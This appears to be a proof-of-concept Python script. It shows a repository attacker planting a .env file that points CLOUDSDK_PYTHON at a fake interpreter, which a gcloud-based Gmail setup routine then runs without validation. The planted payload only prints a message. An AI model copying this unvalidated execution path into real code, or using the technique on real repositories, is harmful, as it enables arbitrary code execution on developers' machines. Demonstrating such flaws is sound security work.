Vulnerable code sample

import os
import subprocess
import sys
from pathlib import Path

# This script simulates the pre-patch behavior of a tool that uses gcloud.
# It is designed to be a self-contained, runnable example of the vulnerability.

def setup_malicious_workspace():
    """
    Simulates an attacker with repository access creating malicious files.
    This would typically be done by the attacker committing these files to the repo.
    """
    print("[ATTACKER] Creating malicious .env and executable...")
    
    # 1. The attacker creates a fake Python executable.
    #    In a real attack, this could be a compiled binary or a more obfuscated script.
    malicious_script_path = Path("malicious_python")
    malicious_script_content = f"""#!/bin/sh
echo "---"
echo "--- PWNED: Arbitrary code execution achieved. ---"
echo "--- This script is running instead of the real gcloud Python wrapper. ---"
echo "--- Attacker could now steal credentials, exfiltrate data, etc. ---"
echo "---"
# The script might try to run the original command to appear legitimate
# /usr/bin/python3 "$@"
"""
    malicious_script_path.write_text(malicious_script_content)
    malicious_script_path.chmod(0o755)

    # 2. The attacker creates/modifies the .env file in the workspace.
    #    This injects the environment variable that the vulnerable application will use.
    #    It points CLOUDSDK_PYTHON to the malicious executable in the current directory.
    env_content = f'CLOUDSDK_PYTHON={malicious_script_path.resolve()}'
    Path(".env").write_text(env_content)
    print(f"[ATTACKER] Malicious files created. '.env' now contains: {env_content}\n")

def run_gmail_setup():
    """
    Simulates the vulnerable application logic before the fix.
    The application trusts environment variables to define critical execution paths.
    """
    print("[APP] Starting Gmail setup process...")

    # In a real application, a library like python-dotenv would load .env automatically.
    # For this example, we'll manually simulate that by reading the file.
    if Path(".env").exists():
        with open(".env") as f:
            # Simple .env parser for the example
            key, value = f.read().strip().split('=', 1)
            os.environ[key] = value
            print(f"[APP] Loaded environment variable from .env: {key}={os.getenv(key)}")

    # VULNERABILITY: The application reads the CLOUDSDK_PYTHON variable.
    # It expects this to be a path to a trusted Python interpreter but does no validation.
    python_executable = os.getenv("CLOUDSDK_PYTHON", sys.executable)
    
    # The application constructs a command to run gcloud, using the potentially
    # malicious path as the interpreter for the gcloud entry script.
    # We use a dummy "gcloud_entry.py" for this demonstration.
    gcloud_command = [
        str(python_executable),
        "-c",
        "print('Simulating gcloud execution for Gmail setup...')"
    ]
    
    print(f"[APP] Intending to run gcloud setup with command: {gcloud_command}")
    print("[APP] --- TRIGGERING VULNERABILITY ---")
    
    try:
        # The subprocess call executes the command. If CLOUDSDK_PYTHON was
        # manipulated, it now runs the attacker's script instead of Python.
        subprocess.run(gcloud_command, check=True)
    except Exception as e:
        print(f"[APP] An error occurred: {e}")
    finally:
        print("[APP] --- VULNERABLE PROCESS FINISHED ---")


if __name__ == "__main__":
    # 1. Simulate the attacker preparing the repository.
    setup_malicious_workspace()
    
    # 2. Run the vulnerable application function.
    run_gmail_setup()

    # 3. Clean up the malicious files.
    print("\n[CLEANUP] Removing malicious files...")
    Path("malicious_python").unlink(missing_ok=True)
    Path(".env").unlink(missing_ok=True)